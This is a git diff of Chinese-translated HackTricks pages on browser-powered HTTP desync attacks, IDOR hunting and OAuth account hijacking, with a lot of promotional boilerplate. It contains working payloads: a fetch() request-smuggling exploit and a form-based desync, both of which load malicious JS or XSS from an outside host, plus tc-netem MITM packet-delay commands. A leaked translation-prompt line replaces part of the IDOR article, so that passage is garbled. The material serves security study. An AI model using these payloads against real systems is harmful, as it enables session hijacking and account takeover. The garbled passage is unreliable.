fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
|
||||
{
|
||||
method: 'POST',
|
||||
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
|
||||
mode: 'no-cors',
|
||||
credentials: 'include'
|
||||
}
|
||||
)
|
||||
}
|
||||
|
||||
</script>
|
||||
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>
|
||||
```
|
||||
在这种情况下,同样存在一个可以用来**劫持**一个**JS**导入的**主机头** **重定向**。然而,这次**重定向不可缓存**,因此客户端**缓存** **污染**不是一个选项。
|
||||
|
||||
因此,执行的攻击将使**受害者在一个标签页中访问易受攻击的页面**,然后就在页面尝试**加载JS**文件**之前**,**污染**套接字**走私连接**(这种情况下有3个)。\
|
||||
因为**时机**必须非常**精确**,所以攻击是针对**每次迭代的新标签页**执行的,直到成功。
|
||||
|
||||
{% hint style="warning" %}
|
||||
请记住,在这种情况下攻击的是`/meeting_testjs.cgi`,因为它**加载**了一个响应为**404**的**Javascript**,所以没有被缓存。在其他你尝试攻击**被缓存的JS**的场景中,你需要等待它**从缓存中消失**,然后再发起新的攻击。
|
||||
{% endhint %}
|
||||
|
||||
总结步骤:
|
||||
|
||||
* 打开一个新窗口。
|
||||
* 向目标发出一个无害的请求,以建立一个新的连接,使时序更加一致。
|
||||
* 将窗口导航至目标页面/meeting\_testjs.cgi。
|
||||
* 120毫秒后,使用重定向小工具创建三个被污染的连接。
|
||||
* 5毫秒后,在渲染/meeting\_testjs.cgi时,受害者希望尝试导入/appletRedirect.js并被重定向到x.psres.net,该网站提供恶意JS。
|
||||
* 如果没有成功,重试攻击。
|
||||
|
||||
## 基于暂停的不同步 <a href="#pause" id="pause"></a>
|
||||
|
||||
暂停也可以通过**触发错误的请求超时实现**来创建新的不同步漏洞。
|
||||
|
||||
因此,攻击者可能会发送一个请求,**头部指示有一个正文**,然后**等待**,直到**前端超时后再发送正文**。如果前端超时但**保持连接开放**,那么该请求的**正文**将被**视为新请求**。
|
||||
|
||||
### 示例:**Varnish**
|
||||
|
||||
Varnish缓存有一个叫做`synth()`的功能,它允许你在不将请求转发给后端的情况下发出**响应**。这里有一个用于阻止访问文件夹的示例规则:
|
||||
```javascript
|
||||
if (req.url ~ "^/admin") {
|
||||
return (synth(403, "Forbidden"));
|
||||
}
|
||||
```
|
||||
当处理一个与合成规则匹配的**部分请求**时,如果 Varnish 在**15秒**内没有收到数据,它将**超时**。发生这种情况时,即使它只读取了一半的请求,它也会**保持连接开放**以供重用。这意味着,如果**客户端跟进第二半部分**的 HTTP 请求,它将被解释为一个**全新的请求**。
|
||||
|
||||
要在易受攻击的前端触发基于暂停的不同步,首先发送你的头部,承诺有一个请求体,然后就等待。最终你会收到一个响应,当你最终发送请求体时,它将被解释为一个新的请求:
|
||||
|
||||
![](<../../.gitbook/assets/image (4) (3) (1).png>)
|
||||
|
||||
{% hint style="warning" %}
|
||||
显然这个问题在1月25日作为 [CVE-2022-23959](https://varnish-cache.org/security/VSV00008.html) 被修复了。
|
||||
{% endhint %}
|
||||
|
||||
### 示例:**Apache**
|
||||
|
||||
就像 Varnish 一样,它在**服务器自己生成响应**的端点上是脆弱的,而不是让应用程序处理请求。这种情况的一个方式是服务器级别的重定向:`Redirect 301 / /en`
|
||||
|
||||
### 服务器端利用 <a href="#server" id="server"></a>
|
||||
|
||||
如果易受攻击的服务器(在这个案例中是 Apache 或 Varnish)位于后端,需要一个**前端**,它将请求**流式传输到后端**服务器(在这个案例中是 http 头部),**不缓冲**整个请求体。
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (3).png>)
|
||||
|
||||
在这种情况下,攻击者**不会收到响应超时,直到他发送了请求体**。但如果他知道超时时间,这不应该是问题。
|
||||
|
||||
亚马逊的 Application Load Balancer (ALB) 将**根据需要流式传输连接的数据**,但如果它**在**收到**请求体之前**收到了半个请求的**响应**(超时),它**不会发送请求体**,所以这里必须利用**竞态条件**:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
在**利用 ALB 后面的 Apache**时有一个额外的复杂性 - **两个服务器**都有默认的**60秒超时**。这留下了一个**极其短暂的时间窗口**来发送请求的第二部分。经过66小时的努力,RC 攻击最终成功。
|
||||
|
||||
### MITM 利用
|
||||
|
||||
显然,**无法从浏览器停止一个请求**以利用 Pause-desync 漏洞。然而,你总是可以**执行 MITM 攻击来暂停浏览器发送的请求**。注意,这种攻击**不依赖于解密**任何流量。
|
||||
|
||||
攻击流程与常规的客户端不同步攻击非常**相似**。用户访问攻击者控制的页面,该页面发出一系列**跨域请求**到目标应用程序。**第一个 HTTP** 请求被故意填充得很**大**,以至于操作系统**将其分割成多个 TCP 数据包**,使得一个活跃的**MITM 能够延迟最后一个数据包**,触发基于暂停的不同步。由于填充,**攻击者**可以仅根据**大小**来**识别**哪个**数据包需要暂停**。
|
||||
|
||||
从客户端看,它看起来像是使用 HEAD 小工具的常规客户端不同步,除了请求填充:
|
||||
```javascript
|
||||
let form = document.createElement('form')
|
||||
form.method = 'POST'
|
||||
form.enctype = 'text/plain'
|
||||
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
|
||||
let input = document.createElement('input')
|
||||
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
|
||||
input.value = "x"
|
||||
form.append(input)
|
||||
document.body.appendChild(form)
|
||||
form.submit()
|
||||
```
|
||||
在执行盲中间人攻击的攻击者系统上,使用tc-NetEm实现了延迟:
|
||||
```bash
|
||||
# Setup
|
||||
tc qdisc add dev eth0 root handle 1: prio priomap
|
||||
|
||||
# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
|
||||
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
|
||||
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
|
||||
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
|
||||
and 'cmp(u16 at 2 layer network lt 0x0514)' \
|
||||
flowid 1:3
|
||||
|
||||
# Delay flagged packets by 61 seconds
|
||||
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s
|
||||
```
|
||||
## **参考资料**
|
||||
|
||||
* 本文信息来源于 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击!</strong></summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我们 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来**分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
**查看来自 [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks) 的帖子**
|
||||
|
|
|
@ -1,114 +1,29 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者你想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
**文章来源** [**https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489**](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
|
||||
|
||||
# 寻找IDOR的意想不到的地方 <a href="#8d15" id="8d15"></a>
|
||||
|
||||
## 不要忽视编码和哈希ID <a href="#d6ce" id="d6ce"></a>
|
||||
|
||||
当面对编码的ID时,可以尝试使用常见的编码方案对编码的ID进行解码。
|
||||
|
||||
如果应用程序使用了哈希/随机ID,请查看ID是否可预测。有时应用程序使用产生不足熵的算法,因此在仔细分析后,实际上可以预测ID。在这种情况下,尝试创建一些帐户以分析这些ID是如何创建的。您可能能够找到一个模式,从而可以预测属于其他用户的ID。
|
||||
|
||||
此外,可能可以通过另一个API端点、应用程序中的其他公共页面(其他用户的个人资料页面等)或通过引用者的URL泄漏随机或哈希ID。
|
||||
|
||||
例如,我曾经发现一个API端点,允许用户通过哈希对话ID检索详细的直接消息。请求看起来有点像这样:
|
||||
```
|
||||
GET /api_v1/messages?conversation_id=SOME_RANDOM_ID
|
||||
```
|
||||
这乍一看似乎没问题,因为_conversation\_id_是一个长的、随机的、包含字母和数字的序列。但后来我发现,实际上只要知道用户的用户ID,就可以找到他们的每个对话的列表!
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
这将返回属于该用户的_conversation_ids_列表。而_user_id_在每个用户的个人资料页面上是公开可见的。因此,您可以通过首先在其个人资料页面上获取他们的user_id,然后检索属于该用户的conversation_ids列表,最后通过API端点/api_v1/messages加载消息来阅读任何用户的消息!
|
||||
|
||||
## 如果你猜不到,试着创建它 <a href="#b54f" id="b54f"></a>
|
||||
|
||||
如果对象引用ID似乎不可预测,请尝试查看是否有办法来操纵这些对象ID的创建或链接过程。
|
||||
|
||||
## 即使应用程序没有要求,也要提供一个ID <a href="#9292" id="9292"></a>
|
||||
|
||||
如果应用程序生成的请求中没有使用ID,请尝试将其添加到请求中。尝试添加_id、user_id、message_id或其他对象引用参数,并查看它是否对应用程序的行为产生影响。
|
||||
|
||||
例如,如果此请求显示您的所有直接消息:
|
||||
```
|
||||
GET /api_v1/messages
|
||||
```
|
||||
这个呢?它会显示其他用户的消息吗?
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
## HPP(HTTP参数污染)<a href="#cb9a" id="cb9a"></a>
|
||||
|
||||
HPP漏洞(为同一参数提供多个值)也可能导致IDOR。应用程序可能不会预料到用户会提交同一参数的多个值,通过这样做,您可能能够绕过在端点上设置的访问控制。
|
||||
|
||||
虽然这似乎很少见,我以前从未见过这种情况发生,但从理论上讲,它会像这样。如果此请求失败:
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
以下是关于黑客技术的一本书中的内容。以下内容来自文件/hive/hacktricks/pentesting-web/idor.md。将相关的英文文本翻译成中文,并保持完全相同的markdown和html语法。不要翻译代码、黑客技术名称、黑客术语、云/SaaS平台名称(如Workspace、aws、gcp...)、泄漏一词、渗透测试和markdown标签。此外,请不要添加任何额外的内容,只需提供翻译和markdown语法即可。
|
||||
```
|
||||
GET /api_v1/messages?user_id=YOUR_USER_ID&user_id=ANOTHER_USERS_ID
|
||||
```
|
||||
或者这样:
|
||||
```
|
||||
GET /api_v1/messages?user_id=ANOTHER_USERS_ID&user_id=YOUR_USER_ID
|
||||
```
|
||||
或者将参数提供为列表:
|
||||
```
|
||||
GET /api_v1/messages?user_ids[]=YOUR_USER_ID&user_ids[]=ANOTHER_USERS_ID
|
||||
```
|
||||
## 盲目IDORs <a href="#7639" id="7639"></a>
|
||||
|
||||
有时,容易受到IDOR攻击的端点不会直接回应泄露的信息。它们可能会导致应用程序在其他地方泄露信息:在导出文件、电子邮件甚至文本提醒中。
|
||||
|
||||
## 更改请求方法 <a href="#6597" id="6597"></a>
|
||||
|
||||
如果一个请求方法不起作用,还有很多其他方法可以尝试:GET、POST、PUT、DELETE、PATCH...
|
||||
|
||||
一个常见的技巧是将POST替换为PUT或反之亦然:相同的访问控制可能没有被实施!
|
||||
|
||||
## 更改请求的文件类型 <a href="#8f78" id="8f78"></a>
|
||||
|
||||
有时,切换请求文件的文件类型可能会导致服务器以不同的方式处理授权。例如,尝试在请求URL的末尾添加.json并观察发生了什么。
|
||||
|
||||
# 如何增加IDOR的影响力 <a href="#45b0" id="45b0"></a>
|
||||
|
||||
## 首先处理关键IDOR <a href="#71f7" id="71f7"></a>
|
||||
|
||||
首先在关键功能中寻找IDOR。基于写入和读取的IDOR都可能具有很高的影响力。
|
||||
|
||||
在改变状态(写入)的IDOR方面,密码重置、密码更改、帐户恢复IDOR通常具有最高的业务影响力。(例如,与“更改电子邮件订阅设置”IDOR相比。)
|
||||
|
||||
至于非状态更改(读取)的IDOR,寻找处理应用程序中敏感信息的功能。例如,寻找处理直接消息、敏感用户信息和私人内容的功能。考虑应用程序中使用此信息的功能,并相应地寻找IDOR。
|
||||
**查看帖子:[https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)**
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- 你在一家**网络安全公司**工作吗?想要在HackTricks中看到你的**公司广告**吗?或者想要获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 发现我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
|
||||
- **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
|
||||
- **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **在Twitter上** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)** 上关注我**。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -4,702 +4,24 @@
|
|||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?你想在HackTricks中看到你的**公司广告**吗?或者你想获得**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks的衣物**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**此内容摘自**[**https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url**](https://labs.detectify.com/2022/07/06/account-hijacking-using-dirty-dancing-in-sign-in-oauth-flows/#gadget-2-xss-on-sandbox-third-party-domain-that-gets-the-url)****
|
||||
|
||||
## 不同OAuth流程的解释
|
||||
|
||||
### 响应类型
|
||||
|
||||
首先,OAuth流程中可以使用不同的响应类型。这些响应类型授予**令牌以登录用户或获取所需信息**。
|
||||
|
||||
最常见的三种类型是:
|
||||
|
||||
1. **`code` + `state`**。**`code`**用于**调用OAuth提供者**的服务器以获取令牌。**`state`**参数用于验证**发起调用的正确用户**。在进行服务器端调用OAuth提供者之前,OAuth客户端有责任验证状态参数。
|
||||
2. **`id_token`**。是使用OAuth提供者的公共证书签名的JSON Web Token(JWT),用于验证所提供的身份是否确实属于它所声称的身份。
|
||||
3. **`token`**。是服务提供商API中使用的**访问令牌**。
|
||||
|
||||
### 响应模式
|
||||
|
||||
在OAuth流程中,授权流程可以使用不同的模式将代码或令牌提供给网站,以下是最常见的四种模式之一:
|
||||
|
||||
1. **查询**。将查询参数作为重定向返回到网站(`https://example.com/callback?code=xxx&state=xxx`)。用于`code+state`。**`code`**只能**使用一次**,在使用代码时需要**OAuth客户端密钥**来**获取访问令牌**。 
|
||||
1. [此模式不推荐用于令牌](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#id\_token),因为**令牌可以多次使用,不应出现在服务器日志或类似位置**。大多数OAuth提供者不支持此模式用于令牌,仅用于代码。示例:
|
||||
* `response_mode=query`由Apple使用。
|
||||
* `response_type=code`由Google或Facebook使用。
|
||||
2. **片段**。使用**片段重定向**(`https://example.com/callback#access_token=xxx`)。在此模式下,URL的片段部分不会出现在任何服务器日志中,并且只能使用JavaScript在客户端端访问。此响应模式用于令牌。示例:
|
||||
* `response_mode=fragment`由Apple和Microsoft使用。
|
||||
* `response_type`包含`id_token`或`token`,由Google、Facebook、Atlassian等使用。
|
||||
3. **Web消息**。使用**postMessage到网站的固定来源**:\
|
||||
`postMessage('{"access_token":"xxx"}','https://example.com')`\
|
||||
如果支持,通常可以用于所有不同的响应类型。示例:
|
||||
* `response_mode=web_message`由Apple使用。
|
||||
* `redirect_uri=storagerelay://...`由Google使用。
|
||||
* `redirect_uri=https://staticxx.facebook.com/.../connect/xd_arbiter/...`由Facebook使用。
|
||||
4. **表单提交**。使用表单提交到有效的`redirect_uri`,将**常规POST请求发送回网站**。这可用于代码和令牌。示例:
|
||||
* `response_mode=form_post`由Apple使用。
|
||||
* `ux_mode=redirect&login_uri=https://example.com/callback`由Google Sign-In (GSI)使用。
|
||||
|
||||
## 故意破坏`state` <a href="#break-state-intentionally" id="break-state-intentionally"></a>
|
||||
|
||||
OAuth规范建议在`response_type=code`的情况下使用`state`参数,以确保发起流程的用户也是在OAuth流程之后使用代码发出令牌的用户。
|
||||
|
||||
然而,如果**`state`值无效**,**`code`将不会被使用**,因为验证状态是网站的责任(最终的责任)。这意味着,如果攻击者可以向受害者发送带有攻击者有效`state`的登录流程链接,OAuth流程将对受害者失败,并且`code`将永远不会被发送到OAuth提供者。如果攻击者能够获取`code`,仍然可以使用该`code`。
|
||||
|
||||
1. 攻击者使用“使用X登录”在网站上启动登录流程。
|
||||
2. 攻击者使用`state`值构造一个链接,供受害者使用OAuth提供者进行登录,但使用攻击者的`state`。
|
||||
3. 受害者使用链接登录并重定向回网站。
|
||||
4. 网站验证受害者的`state`并停止处理登录流程,因为它不是有效的状态。受害者看到错误页面。
|
||||
5. 攻击者找到一种方法从错误页面泄露`code`。
|
||||
6. 攻击者现在可以使用自己的`state`和从受害者那里泄露的`code`进行登录。
|
||||
### 响应类型/响应模式切换
|
||||
|
||||
改变OAuth流程的响应类型或响应模式将影响代码或令牌返回到网站的方式,这往往会导致意外行为。我还没有看到任何OAuth提供者有限制网站支持的响应类型或模式的选项,因此根据OAuth提供者的不同,通常至少有两个或更多可以更改的选项,以便尝试进入非正常路径。
|
||||
|
||||
还可以请求多个响应类型。有一份规范解释了在请求多个响应类型时如何提供值给重定向URI([https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding](https://openid.net/specs/oauth-v2-multiple-response-types-1\_0-09.html#Encoding)):
|
||||
|
||||
> 如果请求中的`response_type`只包含需要服务器在查询字符串中完全编码返回数据的值,则此多值`response_type`的响应中返回的数据必须完全编码在查询字符串中。此建议适用于成功和错误响应。
|
||||
>
|
||||
> 如果请求中的`response_type`包含任何需要服务器在片段中完全编码返回数据的值,则此多值`response_type`的响应中返回的数据必须完全编码在片段中。此建议适用于成功和错误响应。
|
||||
|
||||
如果按照这个规范正确操作,这意味着您可以要求将`code`参数发送到网站,但是如果同时要求`id_token`,则`code`参数将发送到片段部分而不是查询字符串中。
|
||||
|
||||
对于Google的登录,这意味着:
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
将重定向到 `https://example.com/callback?code=xxx&state=yyy`。但是:
|
||||
```
|
||||
https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?
|
||||
client_id=client-id.apps.googleusercontent.com&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback&
|
||||
scope=openid%20email%20profile&
|
||||
response_type=code,id_token&
|
||||
access_type=offline&
|
||||
state=yyy&
|
||||
prompt=consent&flowName=GeneralOAuthFlow
|
||||
```
|
||||
将重定向到 `https://example.com/callback#code=xxx&state=yyy&id_token=zzz`。
|
||||
|
||||
如果使用Apple,同样的思路适用:
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code&
|
||||
response_mode=query&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
你将被重定向到 `https://example.com/callback?code=xxx&state=yyy`,但是:
|
||||
```
|
||||
https://appleid.apple.com/auth/authorize?
|
||||
response_type=code+id_token&
|
||||
response_mode=fragment&
|
||||
scope=&
|
||||
state=zzz&
|
||||
client_id=client-id&
|
||||
redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
|
||||
```
|
||||
将重定向到`https://example.com/callback#code=xxx&state=yyy&id_token=zzz`。
|
||||
|
||||
## 非正常路径
|
||||
|
||||
研究的作者称之为**非正常路径,即用户通过OAuth登录后被重定向到错误的URL**。这很有用,因为如果客户端提供了有效的状态+代码令牌**但未达到预期的页面**,那么**信息将无法正确消耗**,如果攻击者找到一种方法从“非正常路径”中**泄露该信息**,他将能够**接管账户**。
|
||||
|
||||
默认情况下,OAuth流程将达到预期的路径,但是可能存在一些潜在的**配置错误**,允许攻击者**构造特定的初始OAuth请求**,使用户在登录后到达非正常路径。
|
||||
|
||||
### 重定向URI不匹配
|
||||
|
||||
这些“常见”的**配置错误**在OAuth通信的**重定向URL**中发现。
|
||||
|
||||
[**规范**](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-security-topics-19#section-2.1) ****严格指出,重定向URL应与定义的URL严格比较,不允许除端口外的任何更改。然而,一些端点允许进行一些修改:
|
||||
|
||||
### 重定向URI路径附加
|
||||
|
||||
一些OAuth提供商允许在`redirect_uri`路径中添加其他数据。这也违反了规范,就像“重定向URI大小写转换”一样。例如,使用`https://example.com/callback`重定向URI,发送:
|
||||
```
|
||||
response_type=id_token&
|
||||
redirect_uri=https://example.com/callbackxxx
|
||||
```
|
||||
最终会重定向到 `https://example.com/callbackxxx#id_token`。
|
||||
|
||||
### 重定向URI参数追加
|
||||
|
||||
一些OAuth提供商**允许添加额外的查询或片段参数**到`redirect_uri`中。您可以通过提供与URL追加的相同参数来触发非正常路径。例如,有一个`https://example.com/callback`重定向URI,发送以下内容:
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%3fcode=xxx%26
|
||||
```
|
||||
以下情况下,将重定向到 `https://example.com/callback?code=xxx&code=real-code`。根据接收到的多个具有相同名称的参数的网站,这可能会触发非正常路径。对于 `token` 和 `id_token` 也是如此:
|
||||
```
|
||||
response_type=code&
|
||||
redirect_uri=https://example.com/callback%23id_token=xxx%26
|
||||
```
|
||||
### 重定向URI的剩余部分或配置错误
|
||||
|
||||
